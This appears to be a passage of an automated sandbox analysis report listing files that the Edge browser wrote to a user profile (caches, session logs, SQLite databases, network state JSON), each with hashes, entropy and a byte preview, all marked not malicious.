Preview:	0\r..m..........rSG.....0....z3.................;....x.x........,T.8..`,.....L`.....,T...`......L`......Rcv..j....exports...Rc.L......module....Rcr......define....Rbr.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:AZM0Xl/ly/l9/lxEYa/lUHBj+:ANmOvUHBC
MD5:	CB0C941688C59FEA1A952A6D3A5A773E
SHA1:	F0590B67E4550BD5E313A66796056D9A32F55819
SHA-256:	1287EABB9FF1A79C4CD586B49FCBF86617F771B3445BFF64AFAE45B6E648976D
SHA-512:	5689EA470371D4A3645649DDBBBF5E3C3A642635BE92711D65DE7B19F340458EC3E67F30968E21D13D067C21FE5369B02767FE8557292393F8389C6AE654A85F
Malicious:	false
Preview:	@.......oy retne.........................X....,................+"..B./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:AZM0Xl/ly/l9/lxEYa/lUHBj+:ANmOvUHBC
MD5:	CB0C941688C59FEA1A952A6D3A5A773E
SHA1:	F0590B67E4550BD5E313A66796056D9A32F55819
SHA-256:	1287EABB9FF1A79C4CD586B49FCBF86617F771B3445BFF64AFAE45B6E648976D
SHA-512:	5689EA470371D4A3645649DDBBBF5E3C3A642635BE92711D65DE7B19F340458EC3E67F30968E21D13D067C21FE5369B02767FE8557292393F8389C6AE654A85F
Malicious:	false
Preview:	@.......oy retne.........................X....,................+"..B./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF32f10.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:AZM0Xl/ly/l9/lxEYa/lUHBj+:ANmOvUHBC
MD5:	CB0C941688C59FEA1A952A6D3A5A773E
SHA1:	F0590B67E4550BD5E313A66796056D9A32F55819
SHA-256:	1287EABB9FF1A79C4CD586B49FCBF86617F771B3445BFF64AFAE45B6E648976D
SHA-512:	5689EA470371D4A3645649DDBBBF5E3C3A642635BE92711D65DE7B19F340458EC3E67F30968E21D13D067C21FE5369B02767FE8557292393F8389C6AE654A85F
Malicious:	false
Preview:	@.......oy retne.........................X....,................+"..B./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6687
Entropy (8bit):	3.3886860875179234
Encrypted:	false
SSDEEP:	192:M+ls7zTEmq139KX1NWQ49Xp+eKirDz5SLl9iSrTnXT:Z4jq139KX1g9Xp+tW5SLl9iSrDX
MD5:	F7FE02C57EB9653E463CBCF610CB9FC4
SHA1:	8C6F7669AE0A6B74AF3AA49EDCFCD00F62853A54
SHA-256:	48C88F99204A008A837ED74122DF18AD606D3987063CA8A47FA1A20BE1425049
SHA-512:	82F8C778409DDB74A29BE8CD0D7A5886E0371D54BC5786B39FFA818D3A96FEAFF0C5EB9E40C241626DE8CDB71B8396FB88CE7702EDFA9557FE3E93E17567EB7F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............P@.(b................next-map-id.1.Cnamespace-e102d9d1_513d_4cb2_9486_4aa830e817a7-https://ntp.msn.com/.0V.e................V.e................V.e................U..~.................map-0-shd_sweeper.1{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.t.q.o.h.p.a.d.,.p.r.g.-.d.l.t.q.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.-.c.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.2.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.e.n.u.i.d.c.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.t.r.a.f.f.i.c.-.p.1.-.n.y.l.d.-.c.,.p.r.g.-.1.s.w.-.l.d.n.y.c.t.-.t.r.a.n.s.i.t.,.p.r.g.-.1.s.w.-.t.r.a.n.-.t.r.d.,.1.s.-.w.x.p.r.e.v.-.n.o.c.n.t.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.128162966129537
Encrypted:	false
SSDEEP:	6:HQ9+q2PCHhJ23oH+TcwtrQMxIFUt8YQ//WZmw+YQB3VkwOCHhJ23oH+TcwtrQMFd:4+vBYebCFUt8JW/+r3V56YebtJ
MD5:	2D141453AF50461DD408C0AEBFCEAB13
SHA1:	274182DC21627502A4DC6E87608CEC41652ED97B
SHA-256:	2944F9B3838FFAAFC98D1949A8FE241ADBF19C9AE98B458C2F7AEF3271BC4CF2
SHA-512:	A5A47F7B9F48915D2602A8D153B9A0704B8C3F5E18ED0C87CA9D97BA98152262259E0136BE3C54853BB38B9522B559EF087520BD82E0479BA3D8353E7878AF7D
Malicious:	false
Preview:	2024/11/24-13:11:38.700 1a3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/24-13:11:38.701 1a3c Recovering log #3.2024/11/24-13:11:38.704 1a3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.128162966129537
Encrypted:	false
SSDEEP:	6:HQ9+q2PCHhJ23oH+TcwtrQMxIFUt8YQ//WZmw+YQB3VkwOCHhJ23oH+TcwtrQMFd:4+vBYebCFUt8JW/+r3V56YebtJ
MD5:	2D141453AF50461DD408C0AEBFCEAB13
SHA1:	274182DC21627502A4DC6E87608CEC41652ED97B
SHA-256:	2944F9B3838FFAAFC98D1949A8FE241ADBF19C9AE98B458C2F7AEF3271BC4CF2
SHA-512:	A5A47F7B9F48915D2602A8D153B9A0704B8C3F5E18ED0C87CA9D97BA98152262259E0136BE3C54853BB38B9522B559EF087520BD82E0479BA3D8353E7878AF7D
Malicious:	false
Preview:	2024/11/24-13:11:38.700 1a3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/24-13:11:38.701 1a3c Recovering log #3.2024/11/24-13:11:38.704 1a3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376945500498524

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.803565813980459
Encrypted:	false
SSDEEP:	24:3Zsj3n+nc/njpsAF4unxNjk9tLp3X2amEtG1ChqGEu6RF5mpQA2KQKkOAM4Ak:3SLgWjzFd+Lp2FEkChTEuO5mQA2LHOp
MD5:	3733B84B41FEDA9E12C8B17FE3E51679
SHA1:	7C65DB28110928BB5E03BBEFABA5D2A793E2669F
SHA-256:	525235C0E6E1EC2A7F37D870330E5DADD7267EDB3E5966A0633F11E79CEADFEC
SHA-512:	C5C9668EC5162EC9A963C1457CA91B279EF9E789B9AAF2A02B733E91AE77FEC64ECC9646F00D0D422105A8F989A5747C283A368C96226260B8D203DA28963E42
Malicious:	false
Preview:	SNSS.......A..............A........."A..............A..........A..........B..........B.......!..B..................................A...B...1..,...B...$...e102d9d1_513d_4cb2_9486_4aa830e817a7...A..........B..................A......A..........................A.......................5..0...A...&...{890D5FC3-0C4C-4214-A93A-B8E730A022A1}.....A..........A.............................B..............B...........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........hR..'...hR..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.100195335099857
Encrypted:	false
SSDEEP:	6:Hiq2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YQXZmw+YQFkwOCHhJ23oH+Tcwt7Uh2gnLJ:CvBYebIhHh2FUt8L/+B56YebIhHLJ
MD5:	016F94B538823007D13EB329536F8184
SHA1:	3EEBF061A8E5AF54EF44CFF5C7D404A5E07BBEDA
SHA-256:	D4995B2A21BA453B51F952987AC17031B908C406BACE2853D39FA3BEF8464F63
SHA-512:	5F27336C6992EF3525B447B738E1BD7BF5DC631CA002ACD842AE09E95BA21F41865E4789FC8CF8A10852CF963D32482CD6E5CBE738988821829F9D363EC237CA
Malicious:	false
Preview:	2024/11/24-13:11:38.214 1c30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/24-13:11:38.215 1c30 Recovering log #3.2024/11/24-13:11:38.215 1c30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.100195335099857
Encrypted:	false
SSDEEP:	6:Hiq2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YQXZmw+YQFkwOCHhJ23oH+Tcwt7Uh2gnLJ:CvBYebIhHh2FUt8L/+B56YebIhHLJ
MD5:	016F94B538823007D13EB329536F8184
SHA1:	3EEBF061A8E5AF54EF44CFF5C7D404A5E07BBEDA
SHA-256:	D4995B2A21BA453B51F952987AC17031B908C406BACE2853D39FA3BEF8464F63
SHA-512:	5F27336C6992EF3525B447B738E1BD7BF5DC631CA002ACD842AE09E95BA21F41865E4789FC8CF8A10852CF963D32482CD6E5CBE738988821829F9D363EC237CA
Malicious:	false
Preview:	2024/11/24-13:11:38.214 1c30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/24-13:11:38.215 1c30 Recovering log #3.2024/11/24-13:11:38.215 1c30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.222992257759595
Encrypted:	false
SSDEEP:	6:HQqCOq2PCHhJ23oH+TcwtzjqEKj3K/2jMGIFUt8YQCfzXZmw+YQpfR7kwOCHhJ2k:NvBYebvqBQFUt84fz/+Tp56YebvqBvJ
MD5:	1BF660EF1F51FD0871F04E7F44FA1142
SHA1:	6B1749A42548B9608232BF72B50E83902470F54F
SHA-256:	30AB04C7D17BBE76D43A2ECD20D949E60862252C40E6F03E4974F64E03CB29D1
SHA-512:	0FB42FC8848535D1BF494520705E730B2DC955D85E1F8FFE4B468E9E722CECCCAFA0C967EAA6E85B16B2BADC6BDCF1C3CBFD7F7B58A07D288E481EF2F3E70D85
Malicious:	false
Preview:	2024/11/24-13:11:38.726 1c40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/24-13:11:38.734 1c40 Recovering log #3.2024/11/24-13:11:38.740 1c40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.222992257759595
Encrypted:	false
SSDEEP:	6:HQqCOq2PCHhJ23oH+TcwtzjqEKj3K/2jMGIFUt8YQCfzXZmw+YQpfR7kwOCHhJ2k:NvBYebvqBQFUt84fz/+Tp56YebvqBvJ
MD5:	1BF660EF1F51FD0871F04E7F44FA1142
SHA1:	6B1749A42548B9608232BF72B50E83902470F54F
SHA-256:	30AB04C7D17BBE76D43A2ECD20D949E60862252C40E6F03E4974F64E03CB29D1
SHA-512:	0FB42FC8848535D1BF494520705E730B2DC955D85E1F8FFE4B468E9E722CECCCAFA0C967EAA6E85B16B2BADC6BDCF1C3CBFD7F7B58A07D288E481EF2F3E70D85
Malicious:	false
Preview:	2024/11/24-13:11:38.726 1c40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/24-13:11:38.734 1c40 Recovering log #3.2024/11/24-13:11:38.740 1c40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\037f308f-9401-4788-b7bd-6d0bd976c264.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\109d2987-81c2-40c0-afe0-9767f7a743c3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\32d84d5e-6716-42d1-ae87-feab87f350f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\905d986c-f5e1-4b71-a27e-ead2ffa2558d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2beb2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.274039059553694
Encrypted:	false
SSDEEP:	12:Id0O3+vBYebvqBZFUt85dRW/+56V56YebvqBaJ:gkBYebvyg8D86YebvL
